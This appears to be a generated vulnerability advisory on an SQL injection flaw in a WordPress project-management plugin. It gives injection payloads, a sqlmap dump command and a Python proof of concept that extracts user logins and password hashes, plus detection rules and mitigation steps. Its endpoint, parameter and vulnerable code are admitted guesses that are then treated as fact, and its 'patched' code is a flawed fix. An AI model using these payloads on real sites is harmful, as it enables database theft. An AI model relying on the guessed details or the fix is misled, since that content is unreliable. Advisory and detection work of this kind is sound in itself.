CVE-2024-32551

Executive Summary

CVE-2024-32551 is a critical SQL Injection vulnerability discovered in the WordPress plugin SP Project & Document Manager by Smartypants, affecting all versions up to and including 4.71. The vulnerability stems from improper neutralization of special elements used in an SQL command, allowing unauthenticated attackers to inject arbitrary SQL queries. Given the CVSS score of 7.6 (High) and the lack of a vendor patch, this poses a significant risk to WordPress sites using this plugin. Attackers can exploit this to extract sensitive data, modify database contents, or potentially achieve remote code execution via stacked queries. The EPSS score is currently 0.0%, indicating low exploitation activity, but the absence of a patch makes it a ticking time bomb.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must consider the plugin as compromised and take immediate action to mitigate risk. The supply chain risk is elevated because the vendor (Smartypants) has not responded to disclosure, meaning no official update will be forthcoming. Users should treat this as a zero-day in the WordPress supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Base Score: 7.6 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full database read access.
• Integrity Impact: Low (I:L) – limited data modification.
• Availability Impact: Low (A:L) – potential for denial of service via resource exhaustion.

Threat Level: High. The combination of unauthenticated remote exploitation and high confidentiality impact makes this a critical risk for any site running the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability exists in the plugin's handling of user-supplied input within SQL queries. Specifically, the plugin fails to sanitize or parameterize data passed to SQL statements, likely in a search or filter functionality. An attacker can inject malicious SQL code via HTTP parameters (GET or POST) that are directly concatenated into SQL queries.

Root Cause: The plugin uses functions like $wpdb->query() or $wpdb->get_results() with unsanitized user input. For example, a parameter such as ?order=ASC might be directly inserted into a query like SELECT * FROM wp_sp_projects ORDER BY $order. By manipulating the order parameter, an attacker can break out of the intended SQL syntax.

Attack Vector: Unauthenticated HTTP requests to any endpoint that processes user input without proper escaping. Common targets include AJAX handlers, shortcode processing, or custom REST endpoints.

Impact: Successful exploitation allows an attacker to:

• Extract all WordPress user credentials (hashed passwords).
• Read sensitive data from custom tables (e.g., project files, client data).
• Modify or delete database records.
• In some configurations, achieve remote code execution via INTO OUTFILE or stacked queries (if MySQL is configured to allow multiple statements).

Vulnerable vs. Patched Code

Since no patch exists, we can only infer the vulnerable pattern. A typical vulnerable code snippet might look like:

// VULNERABLE CODE (example)
$order = $_GET['order'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}sp_projects ORDER BY $order");

A secure version would use parameterized queries:

// PATCHED CODE (hypothetical)
$order = sanitize_sql_orderby($_GET['order']); // WordPress function
$results = $wpdb->get_results($wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}sp_projects ORDER BY %s",
    $order
));

The absence of $wpdb->prepare() or esc_sql() is the core issue.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with SP Project & Document Manager <= 4.71 installed and activated.
• Knowledge of a vulnerable endpoint (e.g., AJAX action sp_project_search).

Exploitation Steps:

1. Identify vulnerable parameter: Use a web proxy (Burp Suite) to intercept requests. Look for parameters like order, search, filter, or category that are passed to the plugin.

2. Craft SQL injection payload: For a time-based blind injection, use:

   ?order=ASC; SELECT IF(1=1,SLEEP(5),0)--
   

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target.com/?order=ASC" --batch --risk=3 --level=5 --dbms=mysql --dump
   

4. Manual exploitation example:

   GET /wp-admin/admin-ajax.php?action=sp_project_search&order=ASC%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10--%20- HTTP/1.1
   Host: target.com
   

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "sp_project_search",
    "order": "ASC' UNION SELECT user_login,user_pass,user_email,user_registered,display_name FROM wp_users-- -"
}
response = requests.get(target, params=payload)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in web server logs (e.g., UNION, SLEEP, BENCHMARK).
• Look for abnormal HTTP requests to admin-ajax.php with unexpected parameters.

Honeypot:

• Deploy a fake WordPress instance with the vulnerable plugin to capture attacker behavior.

Mitigation:

• Immediately disable or remove the plugin.
• Implement a Web Application Firewall (WAF) rule to block SQL injection attempts.
• Use a WordPress security plugin (e.g., Wordfence) with virtual patching.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL keywords in parameters: UNION, SELECT, SLEEP, BENCHMARK, INTO OUTFILE.
• Repeated requests to admin-ajax.php with action=sp_project_search or similar.
• Unusual response times (indicating time-based blind injection).

File IOCs:

• Modified .htaccess files (if attacker gained file write access).
• Suspicious PHP files in wp-content/uploads/ or wp-content/plugins/sp-project-document-manager/.

Database IOCs:

• New or modified admin users.
• Unusual entries in wp_options table (e.g., base64-encoded payloads).
• Evidence of INTO OUTFILE operations in MySQL logs.

Detection Engineering

YARA Rule

rule CVE_2024_32551_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts targeting SP Project & Document Manager plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-32551"
    strings:
        $s1 = "sp_project_search" ascii wide nocase
        $s2 = "ORDER BY" ascii wide nocase
        $s3 = "UNION" ascii wide nocase
        $s4 = "SLEEP" ascii wide nocase
        $s5 = "BENCHMARK" ascii wide nocase
    condition:
        any of ($s1,$s2) and any of ($s3,$s4,$s5)
}

Sigma Rule

title: CVE-2024-32551 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against SP Project & Document Manager plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'sp_project_search'
            - 'ORDER BY'
            - 'UNION'
            - 'SLEEP'
            - 'BENCHMARK'
    condition: selection
falsepositives:
    - Legitimate use of ORDER BY in plugin
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32551 SQL Injection Attempt"; flow:to_server,established; content:"sp_project_search"; http_uri; nocase; content:"UNION"; http_uri; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete SP Project & Document Manager from all WordPress installations.
2. Scan for compromise – Check for unauthorized admin users, suspicious files, and database anomalies.
3. Update credentials – Force password reset for all WordPress users, especially administrators.

Long-term Mitigation:

• Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block SQL injection patterns.
• Monitor for updates: Subscribe to WordPress plugin changelogs or use a vulnerability scanner.
• Replace plugin: Migrate to an alternative project management plugin that is actively maintained.

Workaround (if plugin cannot be removed):

• Restrict access to admin-ajax.php via .htaccess:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  (Note: This may break legitimate AJAX functionality.)

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or threat hunting assistance, contact intel@valters-it.com.